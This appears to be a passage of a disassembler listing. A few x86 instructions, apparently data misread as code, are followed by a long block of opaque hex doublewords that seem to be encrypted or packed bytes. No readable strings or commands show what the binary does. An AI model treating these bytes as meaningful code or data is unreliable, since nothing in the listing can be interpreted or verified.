xor [ecx], esp
int 3 ; Trap to Debugger
jnb short loc_4E6109
mov ebx, 925DEB89h
retn 84D1h
; ---------------------------------------------------------------------------
dw 5189h
dd 0F751849Eh, 0EF7F86BDh, 0BF85AEDh, 486E92DEh, 0A698C859h
dd 40D017F0h, 9184D143h, 0E64B44D1h, 0C0032341h, 0F5F2C1AEh
dd 0C5870834h, 1815C70h, 3003C69Eh, 1603DF51h, 553D6E6Ah
dd 220E6801h, 0F9E9890Ah, 0CBEE082Fh, 0FC154DEFh, 2ADCC207h
dd 0DAAFFF10h, 3008EA0Ah, 0AE74131Ch, 0ED25B71h, 1487B321h
dd 0C270C222h, 25E99C6Eh, 96029DA9h, 536A3189h, 0C15EC420h
dd 26EB206Fh, 0B3BB00B1h, 0E97E175Ch, 0F7E5CD52h, 3C97245Ch
dd 3B217F1Eh, 5C10DD98h, 160A0011h, 295DE801h, 0E2012DD8h
dd 0E9662E36h, 1023345Eh, 0E481D179h, 0CC58B848h, 48617902h
dd 0E741D8F7h, 12A700Ch, 0A209D990h, 8F033564h, 6F2E23DFh
dd 0FEFEB4Eh, 84E9F868h, 95B35EBAh, 0A87CFBD9h, 0E300AB0Ah
dd 520DD310h, 4C4C99BAh, 0CF3CC792h, 400FBE40h, 44138503h
dd 3B908DFCh, 0CB06E3C1h, 0A75ED774h, 440E2112h, 5B01364Bh
dd 441107Ch, 525BCE40h, 387448FFh, 935E5486h, 4FD1EA05h
dd 0D3070D1Fh, 10E00E53h, 0FE04E2C1h, 0E4D31BF2h, 80ACD8AEh
dd 347EC3C2h, 0C9275424h, 717F84E9h, 382521Eh, 16F968F0h
dd 17911D10h, 0F614543Bh, 5901D7E3h, 53E28952h, 6D0863BBh
dd 4CE696ACh, 43E93E18h, 0DF804D59h, 81591E5Ah, 7C62E100h
dd 29E96376h, 6137D490h, 0B3685C0Eh, 0E9193153h, 18B89E8h
dd 213A82F0h, 48F0341h, 8E132010h, 0CCEDD11Fh, 0C10E2C7Ah
dd 0EF88E750h, 0BB21293Ah, 27C70140h, 474F8E56h, 111012CBh
dd 89000194h, 223C8BF9h, 0D974861h, 28561839h, 2CF31420h
dd 439FB6E5h, 66001004h, 0F681DEF7h, 0A120400Ch, 8D64789Ch
dd 38A985Eh, 67B55542h, 6B8C15Bh, 154D6968h, 171F8088h
dd 20E91DDDh, 681A448Ch, 8251288h, 0F520B9A5h, 6815B084h
dd 84912183h, 5305383Ch, 0C3C60854h, 1A0C8346h, 334D0968h
dd 452CC58Ah, 0A2A2555Bh, 43E0E90Ch, 0BE7E5626h, 7A78120Ch
dd 791BE04Eh, 0E9741E1Ch, 40F9A64Bh, 792B2F6Ch, 0E6C15D0Ch
dd 3A1C2A03h, 1161057h, 5EB449F3h, 7489A332h, 59532D11h
dd 0FE686145h, 689BD45h, 0C1D49BE3h, 108DE846h, 0FAE4D387h
dd 0CE3A140h, 471F6F14h, 0F9CC0282h, 4031286Ah, 59FAE951h
dd 0E014F0FBh, 0E8CE9105h, 47B525D3h, 2BC58856h, 64E97E01h
dd 0D82B805Eh, 0F6C0FE5Bh, 673BF8D0h, 62AC4ED6h, 0C1007018h
dd 0B84802E0h, 5102B269h, 6609E18Bh, 51E96B89h, 12CC3D42h
dd 95AC0CC0h, 50565831h, 0BC29D5Ah, 50D64692h, 0A81CBD8Fh
dd 2C8B2908h, 77FF8F2Eh, 0C849BB35h, 65090693h, 0C7A8FFDBh
dd 0E43C78D9h, 2C11586Eh, 8387C650h, 0A68402C0h, 0F6664D0h
dd 4CC874B6h, 2A10FB51h, 82B00ACEh, 243DA4C0h, 0C2470958h
dd 0FCBC8489h, 3CC30F81h, 9C206A31h, 0A816991Bh, 2931042Fh
dd 9046064Eh, 6EECCEA1h, 8F984770h, 2905CFDCh, 82D087F5h
dd 7A52EFE6h, 0CC3390DDh, 0F252081Eh, 86395E4Ch, 286941F9h
dd 82838BF5h, 9C3678Fh, 72809E9h, 5F1B630Bh, 4CF72D01h
dd 4F74C226h, 316F230h, 0C11AEF78h, 0D2FA02EAh, 0FD7AA84h
dd 6586F29h, 593E3FD3h, 9ED8F9ADh, 2C0B0BBAh, 21511E7Ch
dd 25135F50h, 483C72FFh, 0E103A0E9h, 607454BCh, 6959C0B7h
dd 416327B8h, 88CB140Eh, 18C80156h, 5E7F79E9h, 0E2E4102Ch
dd 849AD0F2h, 70C10CABh, 73FA233Dh, 74DE37Ah, 23502E5Ch
dd 3C8BBA9Fh, 0C868216h, 9D86C34h, 26683533h, 0B8998081h
dd 1FA9CF86h, 54F492F0h, 149D95Ah, 0E9535A76h, 0AC0958EAh
dd 7DFB8042h, 80469828h, 2C790BE7h, 1FCD151Bh, 1080105h
dd 0D15FFE29h, 8DF4BF1h, 616DC68h, 0A563FE9h, 7D265C76h
dd 1C9305EEh, 88646521h, 61D36320h, 0AE681CCCh, 0D3A9367Ch
dd 49B25F2Dh, 0E09ED5Eh, 0D365075Bh, 48550C9Ch, 50247539h
dd 8D1A6B7h, 0C1874B48h, 5B10227Fh, 4C59CE89h, 53A904Eh
dd 0D43AE909h, 2D8F659Ah, 363B6203h, 0DD08630h, 4BE9D101h
dd 726717D9h, 60665840h, 0C63442D3h, 0FDC24D81h, 0A7507432h
dd 0F95317ECh, 0E8AA0D2Eh, 0E9AA600Dh, 7910364Bh, 0D4F02477h
dd 0E5F3898Fh, 0BD44879Dh, 259D2DBCh, 88413236h, 1C885028h
dd 686C139h, 1C838BE9h, 1A445F4Ch, 70E1AAEh, 2B6084FCh
dd 13D7F776h, 0B04EFC1h, 42100631h, 0F8007995h, 0C622BF3Fh
dd 0D295924h, 0D874E9F7h, 0CBE2D4B8h, 64600AD3h, 0FC52F1F7h
dd 6790514Eh, 7482D314h, 0E8C10110h, 329E4005h, 740F126Ah
dd 475AD031h, 8B74E06Eh, 9349186h, 76C00F55h, 5482FA41h
dd 0E54A84B4h, 44195705h, 0E99D9166h, 53C15261h, 3C42C08Eh
dd 0F90019D3h, 0EC3B2E75h, 302C7AEDh, 9D1853BFh, 8D17BE74h
dd 35277E9h, 0DEEC1210h, 0A999FCAAh, 141064E9h, 1B02B951h
dd 0BAE9CE04h, 0E014978Bh, 0B35324B5h, 0C3804704h, 0C8C7883Eh
dd 6859EA00h, 0C4CADh, 0EBB753C0h, 0E913D6B5h, 36491ECFh
dd 0A0EF093Bh, 22C6685Dh, 0D0234CB6h, 124FCD1Ch, 4344141h
dd 2C087A0Bh, 0D5B903B4h, 98278D29h, 9EAFE9D9h, 0D45E14DBh
dd 0BBC0FC39h, 35621A09h, 0EA290064h, 9F94A1Eh, 20E9D831h
dd 665B0240h, 0A3B0501Eh, 589DC55Dh, 807DB4C0h, 7928E3F4h
dd 0F1FE7DE5h, 0E69923FDh, 0F9F5068Ch, 5097EFEBh, 0F69BB652h
dd 0CD34DAC4h, 9A911FD4h, 0AC03038Dh, 5E212633h, 6A2FE1EDh
dd 0E604F873h, 0C0982EA4h, 26C0F665h, 7A68CA2Ch, 0D2100A0Eh
dd 2BBD7500h, 1C0E2962h, 0BFF5314Dh, 38B808E9h, 58808F45h
dd 0B79904Bh, 0ADBFE005h, 3C5E9F87h, 8CE3F8FCh, 96CAB5A4h
dd 70287F20h, 0C3D2CF5Ah, 0E9B46013h, 0E4A90D44h, 80F220E7h
dd 8DDC0ED2h, 0DCBB0053h, 0E9404373h, 27C9913Ch, 0B1EA9424h
dd 1C6B0ACDh, 0AE835125h, 63A4E00Ch, 27D3005h, 0B484CF94h
dd 84C30814h, 92E26593h, 33320691h, 0CAA3314Ch, 0B30E6984h
dd 47D18851h, 0E25759CFh, 805BFC70h, 15548ECh, 0E6087B09h
dd 4432904h, 44C73C31h, 54BF1638h, 0B303AD5Dh, 487A8070h
dd 7F054088h, 67104405h, 8D1DD0F7h, 3B1E0CC4h, 64B711C0h
dd 5C21E443h, 61B7E8D3h, 606C8CE3h, 854DE966h, 0D3F70F3Ah
dd 0E1931C51h, 1EA70554h, 0B889DF04h, 0ED714E88h, 265FD2FCh
dd 22E13A65h, 3C0F96B5h, 0B577B914h, 3EEC1B0h, 0C0B9FEFEh
dd 0C405F100h, 25019030h, 0FF0959CBh, 173E0204h, 2993B756h
dd 112BCB8h, 603CF91Bh, 7546812Ah, 31A1AF34h, 4C405F61h
dd 90852296h, 2C60EEEh, 4E72D71Fh, 0BE782952h, 5C3C4198h
dd 0D4688B31h, 1825B00Ah, 2D1F1911h, 0CF819621h, 580345A8h
dd 0A4550098h, 0EC072483h, 28F48FDh, 3C66DF8Bh, 1C7713C3h
dd 0D3BBC29Dh, 2EE99C00h, 4904B483h, 0C0491E4Ch, 0D12916EAh
dd 4CC2CE01h, 31F578AAh, 0B45C8A28h, 4D60159h, 0AC8B32Eh
dd 0BE9B27BBh, 4BF45BDDh, 7C165D39h, 0F625469Ah, 0CCA207F1h
dd 0ED056843h, 19AC1489h, 1D380CE6h, 2B1EC255h, 8985CBE8h
dd 0C7005AD1h, 73673444h, 33883E2Dh, 0ABAA0927h, 0BF126Ch
dd 683F02A7h, 0D4B11CE7h, 3EE635A4h, 4534AB9h, 42CA105h
dd 0B8E3C168h, 0D121EF51h, 0E9EED157h, 0BDE98008h, 483CE858h
dd 5A3AD545h, 894F1B0Fh, 75055D40h, 213B591Eh, 3FF3148h
dd 9B3488E9h, 68E5925Ah, 12AE75BBh, 66B583CAh, 30E6AF4Ch
dd 7BF1276h, 45F81E3Ch, 0ECC5DC4Fh, 89D15273h, 275EE9E1h
dd 1314D78Ah, 716A86h
dd 7BE76C17h, 83904C01h, 4FE9590Ch, 0CED5314h, 7EFF425Dh
dd 111A87EEh, 1EC2D54h, 4CB16868h, 86F2954Dh, 55C5DE3h
dd 58986F47h, 0F7A9C183h, 0C1049DD9h, 0F1019FE8h, 0B92F23DEh
dd 6370CD31h, 7B5D5CEFh, 1668471Fh, 0E90DC83Ch, 483A28FFh
dd 75260144h, 43057EA4h, 0B07D12D4h, 0B5736E46h, 0FB6B26C1h
dd 30133077h, 7ABE8A41h, 91A7B6A8h, 6CFD88BAh, 4C02BE01h
dd 66622CD2h, 0CB52EC04h, 528C063h, 41443AE9h, 50310FC6h
dd 5D6B1020h, 695CF841h, 0D35F4AE7h, 1043578Bh, 4C116A2Ah
dd 44108673h, 1A4D242Ah, 19A9EE80h, 0A0EA09C9h, 90DAF7B6h
dd 7118A679h, 602D811Ah, 292CA318h, 9703A55Ah, 718632Bh
dd 0A22CEA46h, 0DDE9C232h, 0FE2C23D8h, 6C3BEECBh, 4094FE06h
dd 1285F7Ch, 0ED2CCCC5h, 3D45F302h, 0B8BEFB93h, 2C4F2060h
dd 5B8F729h, 18C781DFh, 63E20C0Bh, 8B0E2609h, 83FDB91Ch
dd 3C543EFFh, 0FE43275Bh, 17C8AF7h, 0E9505D54h, 6433750Ch
dd 7A891488h, 6039A2C6h, 0C1B56205h, 4ED85B02h, 74913C27h
dd 72DD014h, 0E914A075h, 13E9BE5Bh, 2741EF7h, 21031397h
dd 0A1284040h, 0AA013C3Dh, 0A198B29Fh, 0EB1C26Bh, 3129B67Ch
dd 0B42C1CEDh, 6F0F7B77h, 0B7EEAEB8h, 0D80F6FCEh, 1A783F9Dh
dd 7CE0F4E9h, 3B8CCB0Eh, 0CB3F8036h, 4ED9163Dh, 2090D5C9h
dd 0EF4C7381h, 22E3C450h, 0C99F520Ah, 0BDD93362h, 0FEBF5780h
dd 0B12DE56h, 4703EFC1h, 15D1E900h, 918780Fh, 0ED5C58C7h
dd 7A5F1EDFh, 9E6B3DE9h, 0B4C9D6C3h, 12F7D840h, 66416302h
dd 435FFD21h, 7BD6172Fh, 6806809Bh, 0D7B46331h, 0EFC9906Bh
dd 81337E9h, 219EC00Eh, 21F94473h, 0D090816Eh, 40368717h
dd 39C12A70h, 0E88103E0h, 244B0D07h, 328641EDh, 70C1622Fh
dd 4F095FC2h, 59DC491Ch, 0E959F636h, 3181672Dh, 33371968h
dd 51F37D72h, 0CAAD66ADh, 9A599D50h, 7655862h, 12FC4CA0h
dd 65D3A6B4h, 0C2D08359h, 0A59582Bh, 0EF4E37BAh, 41B217C9h
dd 51685C98h, 0D22D6307h, 1BE9A9C1h, 87122678h, 0FF88210Ch
dd 3410F530h, 0D5D059A2h, 65C99F03h, 8ED9A261h, 821BE637h
dd 6D1AA27Ch, 0AE880687h, 0F7192F2Ch, 0AA80E96Fh, 21E0804h
dd 7A82BC12h, 13818221h, 0B6801E5h, 8A732812h, 0E961E855h
dd 26ACD972h, 0A1112577h, 5EA99AF7h, 0E9F7A16Dh, 0DC5505E8h
dd 8A84803h, 1EC2AFECh, 8179C886h, 7C1FFCF2h, 0EAC10FF4h
dd 5D4206h, 0CC246C6Ah, 25F3ABE9h, 686E408Ch, 9FDB27C5h
dd 40E09A10h, 2C1ACD0Bh, 12855E5Ch, 9DDFA2D1h, 6244C3C1h
dd 0C38174E9h, 1D76D6BAh, 69848345h, 593C4Bh, 522D8D7Ch
dd 5AD329E1h, 1B95314Ch, 0D336E72Ch, 0F785F7FEh, 50582391h
dd 8C9F956Dh, 0E1A31147h, 53405E90h, 0BD9AA05Fh, 35D3001Fh
dd 38BCEE81h, 21B028C1h, 8777F000h, 0E9F731A1h, 8A4C4A54h
dd 0B8F06089h, 1125D14h, 9935405Fh, 205EC738h, 4C01059Eh
dd 0E939BB7Ch, 75AF58D3h, 2033D699h, 6D83119h, 54B4E90Dh
dd 98F8E269h, 60634865h, 2C0B0DAh, 83B058B1h, 77DA6816h
dd 1BCBC261h, 9C028355h, 62984A28h, 783E8487h, 0EB4BB00h
dd 8100775Fh, 8C90FEF3h, 12DF294Ch, 9C3DB0E9h, 67762CF1h
dd 31DC4Ch, 0FE65B151h, 73F180C1h, 0E130EBDBh, 5BCA402Dh
dd 88312690h, 0D9010EEFh, 82833F64h, 0E405AAFBh, 0BC06FD2Dh
dd 0C90DE0EBh, 5E5A5B32h, 522137C9h, 0C34820DDh, 83A2B83Eh
dd 0C201DACEh, 2674EF58h, 8B180AA4h, 0C6824440h, 4C097D1Fh
dd 7E249h, 59B23C2Dh, 0A6559451h, 884F076Fh, 0EEE1F053h
dd 3B4CFC25h, 373F0086h, 45052680h, 72A30319h, 49E32E2Dh
dd 80DA219Ah, 0DF2E0772h, 6ACF33DAh, 5180F992h, 8F3BD768h
dd 4679010h, 471272C9h, 0C05834Ah, 8E42CFA9h, 8658F0Ch
dd 4C0A0F1Dh, 0CD89BA40h, 0C4603EE9h, 962D5D5Eh, 33382460h
dd 4B100152h, 0DA292BECh, 8046042h, 5E01C258h, 0D376F2CEh
dd 0C2A3A5A8h, 97FC6482h, 4DB1A8Ah, 0A8600346h, 1465021Eh
dd 81491CDAh, 222B78Ch, 9CD79247h, 112006Eh, 905559CEh
dd 4FA620C0h, 5C0931B6h, 445BA49h, 5402C9E0h, 0BAE0565Bh
dd 40261CA8h, 0F3000672h, 0F7208D61h, 0EBC128D3h, 1D7DF4D6h
dd 0BC55DF5Eh, 9659EC86h, 80945E48h, 2E7B925h, 2C253222h
dd 5D441744h, 34E9275Ch, 0F7662901h, 0ED8C20DFh, 0C0E77948h
dd 0EA80D6B0h, 9284FABDh, 79B60264h, 5166CEFEh, 34D2B141h
dd 5B59DD3Ch, 0CAB800B8h, 3148D761h, 0C80995F8h, 832F4314h
dd 0E9D890C0h, 51FB44Ah, 202E1C1h, 0B44FE8ABh, 29F1FCC0h
dd 0DB096892h, 8274F277h, 9E002A4h, 1497037Ah, 79E9171Bh
dd 58D47121h, 1AA12218h, 6740C1A7h, 4D9E0884h, 1BC7253Fh
dd 5C4FB415h, 0F8286661h, 8FE9D02Ch, 0D331135Ch, 5629BD80h
dd 511750C9h, 6D7E30E9h, 28B2BE26h, 180F2D3Dh, 0E287D53Fh
dd 2C2018E7h, 5F5A0C4Bh, 1162452Ah, 6779BA04h, 3181597Eh
dd 10218B7h, 50D28A40h, 15FA05BAh, 7DBB8CA8h, 36244D01h
dd 5F5BDE01h, 0C16425F9h, 68560255h, 4EE53349h, 0A187D4F0h
dd 2EF7A609h, 0A77C4B6h, 0BC30BFCDh, 0F16B0E35h, 0AB80BB03h
dd 0EB2982C1h, 5C055D73h, 595B0824h, 6BA27F12h, 402A0192h
dd 6026083Ah, 0DC54517h, 9709C301h, 9423ABECh, 88238CDAh
dd 0D7365158h, 50E82C0Ah, 25BFE910h, 519E3120h, 0D7494028h
dd 0B2005427h, 2D81034Fh, 470470DBh, 2468578Eh, 8BF37Eh
dd 15AB360Dh, 0E597DBFh, 0CF2954A9h, 61E900B2h, 31387F08h
dd 0E7FCDF60h, 769A6A78h, 9EF70747h, 0C06BC609h, 246594EFh
dd 1A4F1D30h, 5021BDFDh, 0F638C650h, 1093DE1h, 8ED50FEh
dd 885AB85Fh, 8075077Dh, 0DA45A54h, 280E19B0h, 0C0056F3Dh
dd 8E0384C2h, 0FA013251h, 0B8003736h, 507753C1h, 314CEC57h
dd 0CDB24608h, 5F79E8C2h, 61C40CC3h, 188FE4Ah, 89C3E76h
dd 68CF26E9h, 0B56802C9h, 8829404Ah, 35E0DAB9h, 9115A65h
dd 48D8F73Ch, 9CF0B080h, 314FBB59h, 26F23581h, 0D91B292Eh
dd 560502C0h, 0A4EFC8BFh, 3CD24267h, 0BFBBEC48h, 0B0FB0980h
dd 0B909A846h, 572705D3h, 84D1F72Dh, 127DB286h, 0F7297DEBh
dd 7761F449h, 0F7281035h, 0F669D2C9h, 746FA484h, 0B0085397h
dd 0F15D127Bh, 49C0E4B4h, 5AF13D0h, 7E1E5817h, 123DEF00h
dd 2C450F93h, 99EEDC1h, 12A0401Bh, 0B1969CCh, 0F789571Ch
dd 5E5FFA81h, 0D460D529h, 933FEEDh, 0EB316E75h, 524A1758h
dd 0C2838A9Ch, 4470E90Ch, 6F75F4A0h, 4000312Fh, 1C9ACC05h
dd 0B8C6014Ah, 0A4D658A2h, 0FBA50076h, 69FDB8EAh, 310B4E68h
dd 0AB93E9F0h, 29B999FBh, 8E0E62F2h, 5F121C50h, 0B3301DCDh
dd 0BEF0883Ch, 0F2EEB284h, 0FBBA457h, 720D3CFAh, 0F576137Fh
dd 5B90F751h, 0ACEFA34Eh, 74529EE2h, 0C95AE2C2h, 0BA628554h
dd 4D545156h, 0BEF9F348h, 0EE1F9382h, 0F6605FD7h, 0E74A2F6Ah
dd 0D0AF8640h, 2175F79Fh, 0C785E779h, 6C4BE158h, 353ED051h
dd 0D371F178h, 49592827h, 12FA02h, 46B35351h, 0CF38007h
dd 0C352D3F6h, 6FF8600Bh, 50A0A8EBh, 28F13EB0h, 8B906DCCh
dd 0B60F0207h, 8901A9C0h, 9437E987h, 22C05083h, 0C92BF830h
dd 0D689010Bh, 7487A631h, 0E85C3BD7h, 72C2A429h, 0BFE82C1Bh
dd 225D42C7h, 0B45FFB83h, 0E7C172C0h, 3EAFA003h, 44259C23h
dd 54ADD25Ch, 3F2C1641h
dd 0D3451231h, 0B4B3242Fh, 0A8B44307h, 8842B102h, 561060CAh
dd 0AFC28825h, 17871F12h, 8323B904h, 0ADC1F70Ch, 80557248h
dd 4A26312h, 0A0E573C1h, 134FEDC7h, 0D0091DE6h, 322A3918h
dd 454D6F16h, 0F3748B0Ch, 3F6C41D9h, 10F5D10Bh, 0B9012E85h
dd 0A054B017h, 3B69FD0Bh, 0C26650A4h, 0B6EB80C9h, 4052D687h
dd 3E6C0C7h, 146F5AC8h, 19DDE15Dh, 0BB315033h, 618C4B06h
dd 305C6A95h, 0CF0F7035h, 99A94282h, 0B425CB4Fh, 2B3EA621h
dd 0F3010F61h, 5246548Bh, 0C9231006h, 2AABCA68h, 10A6EB4Ah
dd 611B0C91h, 0EEEEE551h, 0C36B7B60h, 5890329Ch, 0A669E812h
dd 21290141h, 1ECDE09Ch, 212559BAh, 418B24C8h, 0E364BFB8h
dd 8636885Ch, 55847B14h, 50AD04E9h, 0A6102385h, 4BD60B12h
dd 8584D368h, 568042Dh, 32A2EBD7h, 472F5EC2h, 4262E25Ch
dd 2282E19Ah, 359DB08h, 0B630688Fh, 0D8E9F530h, 1DDD276h
dd 0C60DFA21h, 3C83F113h, 0F17A7C4Dh, 28784213h, 4BCFDA0Eh
dd 0D6BB82FEh, 6858003Ch, 97C852F2h, 0C98187C4h, 1B1CB2C7h
dd 0EC5051E2h, 82692D91h, 0E84A0146h, 3D75B07Bh, 0EF26C588h
dd 7BB97A4h, 0A447EC0Ch, 0B517D29Fh, 60EF9941h, 1FE8805Ah
dd 0C1B72095h, 0F6E12834h, 4326EBE9h, 6C9A2778h, 51E0CD99h
dd 68C82997h, 0F1329B66h, 8B500C46h, 306350F5h, 540C7453h
dd 0B2C6470h, 7F02564Dh, 627B02E3h, 8B6D5EEBh, 0BB146649h
dd 3098B5A0h, 0DE394992h, 45F0A75Bh, 7DE90924h, 0F75C28FAh
dd 228206A1h, 50C73E8h, 62FD5470h, 0E9A3615Eh, 39012FB7h
dd 19040B2Ch, 0D8D39862h, 0DDCC9127h, 0B933EC31h, 481903Bh
dd 15E461DDh, 5F8D0990h, 0E97613D3h, 6044C5C3h, 0B26852A8h
dd 51480BB5h, 0CEA24244h, 0CB0EC708h, 4293FE28h, 473832A1h
dd 5B36FA10h, 22D438Ch, 699560D3h, 0B258D801h, 3A3E918h
dd 58C367h, 8108E3C1h, 0B7D03FEBh, 362D8D03h, 3E6AB221h
dd 2049E936h, 14236802h, 0FDE0195Ah, 12132CCBh, 3F083108h
dd 0A5041E24h, 0BD4BC70Fh, 6ABB1220h, 64098A59h, 643DBF7h
dd 80136DFDh, 0CA86E9E1h, 0EF55EF7h, 880F94C5h, 0D2CF06D7h
dd 595B46D0h, 5D30C987h, 4DA424h, 6F6E942Dh, 5F8290Bh
dd 685F07A0h, 911FA125h, 23605445h, 0E0DF4944h, 7952E296h
dd 537D477Bh, 1149BB1Eh, 0BE3D562Ch, 7FABDD5Bh, 7DAF733h
dd 93BFE857h, 7181FE1Bh, 0A5161CFh, 0A87CEDE7h, 0A804324Dh
dd 646DE905h, 0C00E59A7h, 27706E5h, 0BCC580E8h, 7BD08289h
dd 91209EAEh, 0A621507Eh, 8E22F534h, 4E0E7427h, 0ABA54A6h
dd 5BD83003h, 0DA511504h, 80F5D8FCh, 981D2C99h, 3E53731Fh
dd 718285BAh, 5AD389F6h, 6CB61740h, 90A4B2Eh, 0AD704518h
dd 207F3883h, 8C840F06h, 0C6064DCDh, 2B8B5942h, 7832F00Ch
dd 1F90B8A6h, 9B1620C8h, 13F51801h, 0C091B208h, 30D6648Fh
dd 676C2AE9h, 29CE068Fh, 3E1B2F7Dh, 0A5F0940Fh, 30F24910h
dd 0B0C20192h, 1E8609A7h, 18012AC1h, 0F61451B9h, 348A361h
dd 0DCA4B250h, 12F2486h, 1EF8D9C5h, 0DDF4DAF6h, 504ED001h
dd 11BE0145h, 90C4429h, 0C77894E9h, 0C3CD544Eh, 73789EF1h
dd 3D6E7355h, 2E063048h, 1275BE80h, 80418644h, 222ACE9Fh
dd 464B321Dh, 1956E6C1h, 0E874804h, 0E18FFEEh, 11DC05E0h
dd 6F980871h, 11072D51h, 5040E986h, 565258EFh, 49DFBE05h
dd 54814B0Dh, 0DE07C698h, 0DF6358C9h, 81BA66B0h, 53B66E90h
dd 0E101403Ch, 2F4B0B88h, 0A508C20Eh, 3397E3E9h, 0BFB9F7F4h
dd 14B91F19h, 0D0E94CBAh, 10E05A59h, 0B01607A4h, 0A4B4F218h
dd 5964A3E0h, 6F84243Bh, 0D6FDAD3Dh, 27571A08h, 7DFD90C0h
dd 22E243Bh, 0E362BDE1h, 99ADC334h, 0AF30664Ch, 670A5CE0h
dd 567F72B6h, 87F9602Eh, 8B0C4340h, 5C095845h, 2D02075Ch
dd 0D5F7298Eh, 0A60B35DCh, 38794474h, 889FB151h, 52A857C8h
dd 532921BAh, 5C0C2654h, 0E568C29Dh, 0C1ACE632h, 4A65E17Eh
dd 0D10C8270h, 0D045874Bh, 0E7E9E670h, 706FF0BAh, 0C28975E4h
dd 0AA7494FAh, 16A30497h, 0A090B48h, 0FF02D10Fh, 8902B84Ah
dd 5214DCE3h, 989B73C4h, 1461728Bh, 1670C9B7h, 0D098EB51h
dd 4FDB68F5h, 817DA13h, 92039E9h, 1D95D54h, 111687E4h
dd 6800FC28h, 101B34D9h, 0E72CC15Fh, 1C105706h, 59EB280Eh
dd 287C30Bh, 0C02D38FBh, 50814BB6h, 1831FCF3h, 10EBD166h
dd 172E146Bh, 14AF145Bh, 0A39A9D46h, 57B0A210h, 0FB43C024h
dd 6B920620h, 53317EF3h, 0BE699E9h, 2E4D325Bh, 22B920h
dd 0BE766E49h, 0F32717B1h, 0E0D5E916h, 0D04E68A7h, 885150C9h
dd 0E84AD572h, 0C3F6D229h, 5BD9F0DBh, 300F5968h, 5F55E916h
dd 874C4495h, 8517F901h, 888B741h, 9F694C59h, 290A3F5Ch
dd 0E98F5EF3h, 0FB6E1A3h, 0E7BB1000h, 0C163415Fh, 0F1037DEBh
dd 1D852DA5h, 0C62E0013h, 0A66FF65Dh, 96E6D13Eh, 0F1B42338h
dd 9789F05Eh, 0E2581207h, 0C554BFC0h, 82527F80h, 6EEB953h
dd 31090618h, 1BE696F1h, 0F69D6C39h, 3830E907h, 3D5428DEh
dd 635083B8h, 2CED7DC2h, 28100355h, 66316499h, 1215AC47h
dd 8B06D7F7h, 12186B58h, 0F66C2FEh, 8C64DDE5h, 0B611CC74h
dd 0EE80ED03h, 81842C0Ch, 5AD104F0h, 9A9F037Eh, 0CF8022B7h
dd 0C1DD27E9h, 80B6934Ah, 0AD499540h, 2C314AF6h, 0C50A894Bh
dd 83605DE9h, 0F210580h, 9F5F5250h, 9DE9FFA2h, 88D1DF4Ah
dd 0B7189F60h, 0D0F7005Dh, 48E75C2Dh, 0F124E9A2h, 0DA53AF0Bh
dd 1870F0B5h, 1527DF68h, 8082263Ah, 4605D86Bh, 98AE765Bh
dd 1D6C1F7Fh, 18BA7D71h, 8872F217h, 0FE61B824h, 1C472159h
dd 58F0322Bh, 0B83EB084h, 2C8E4FC0h, 1EDC7018h, 42B0D2F7h
dd 0E2059090h, 27C53467h, 30DE300h, 2DE91462h, 0F684B84h
dd 8200739Ah, 646BB91Ch, 2DE955E1h, 0D14A50CDh, 0D312C506h
dd 0AFDE893Fh, 53CE05BAh, 680204A3h, 75806BD8h, 821DDAF4h
dd 0D0405909h, 35C60690h, 1C47BF14h, 9806DD03h, 0DC87E912h
dd 9FF45988h, 825FB984h, 0FE6C2C81h, 5B716815h, 0E0F32AB1h
dd 4E78F998h, 1A478835h, 0A2F9E62Dh, 3084046Bh, 68D0F0C3h
dd 13614E2Dh, 8BC54F45h, 41834BD9h, 40DD9A58h, 5F1B950h
dd 0E931F355h, 5C8244A0h, 0EA8A8109h, 0EDC0001Fh, 0F5800B06h
dd 0FCF8309Fh, 0FE40E712h, 0ABBF6A0Bh, 8B1145C8h, 0AECE4F53h
dd 0F1691B91h, 76D63B3Eh, 0CA4DCA16h, 7B1415DFh, 5DE817E6h
dd 54F8FCCDh, 9CAA9727h, 0E0671354h, 1165896h, 92F078E5h
dd 0D0B74E80h, 0BA559BA5h, 21D2548h, 458950C9h, 30B96031h
dd 0EF8C82E4h, 0F0E228A2h, 2CB42C74h, 6F3FE90Dh, 58DB85EAh
dd 0C0ACA4D3h, 0ED828A5h, 3AC16866h, 0F3B3ED99h, 0EFDF1886h
dd 446D01CBh, 16E92581h, 0B66E7F42h, 1621D359h, 0D34BB477h
dd 265F66EEh, 5A1EF701h, 3509555Bh, 165AFBBCh, 0A5978189h
dd 84A46DBDh, 12F842B0h, 50BDCA96h, 105B21DEh, 413E3C28h
dd 0EBC0816Ah, 612D7A99h, 13890120h, 90AF660h, 0A09819EAh
dd 2B580268h, 0AB4FD3B2h, 7D3D86EEh, 575A3F83h, 769AE7A5h
dd 402C9CD1h, 0BA401701h, 0C2DB0108h, 76088AEFh, 0B322092Ch
dd 0EA593B95h, 0F15D8B2h, 9EF9055Bh, 7966130Fh, 0BA0016E6h
dd 4A2934A7h, 3E42EA81h, 0D783C32h, 3E59E9D5h, 1BF0707Fh
dd 0E055F83Bh, 0AF0AABB0h, 478F2C6Ah, 540328D0h, 20E97A41h
dd 644F3167h, 5102F7C0h
dd 0B48AF854h, 78922C1Ah, 7EEDEB83h, 8F495924h, 534A5E5Fh
dd 570D1AB4h, 0D3684D12h, 8CD13ADBh, 0DC0C9A2Fh, 39C8D2D8h
dd 9B905557h, 0C138080Bh, 449B8331h, 807BA21Eh, 3FE64CF9h
dd 9589584Ah, 0E72AB10h, 25A8E4BBh, 96AC29A2h, 8AEBB0B4h
dd 81607641h, 0E6510605h, 4DAF74Fh, 64CA8100h, 0E9419F0Dh
dd 391E64C9h, 1BB3C2C1h, 4664697Eh, 68C102ABh, 24713FEFh
dd 2D0B38A0h, 8F297007h, 2633A831h, 2632433h, 0FE90346Fh
dd 592E1B43h, 0BE10BF5Dh, 0BB33650h, 59511832h, 0DE3C148Fh
dd 0D32BCA1Dh, 36D10081h, 0FB296DB9h, 1A9CE913h, 7A50FB62h
dd 704620AAh, 788495Ah, 5D7E327Dh, 2250C8B0h, 0EBE337D6h
dd 2E956C1h, 6068004Eh, 14B29D7Ch, 83423459h, 42E47CEDh
dd 0F0093854h, 232D0226h, 5E184522h, 0E9618854h, 3072D203h
dd 444FFE50h, 0FB09EB0Fh, 807E7A4Bh, 0F90ADAA0h, 7F489516h
dd 8A2420AAh, 0E600473Fh, 0E919FE55h, 772B6449h, 7DD4C0D6h
dd 0A3FA548h, 1CDA5CD1h, 8857677Bh, 4B2754A0h, 2DF92508h
dd 4F133075h, 13E1EF88h, 5C759618h, 2408A804h, 44FF5758h
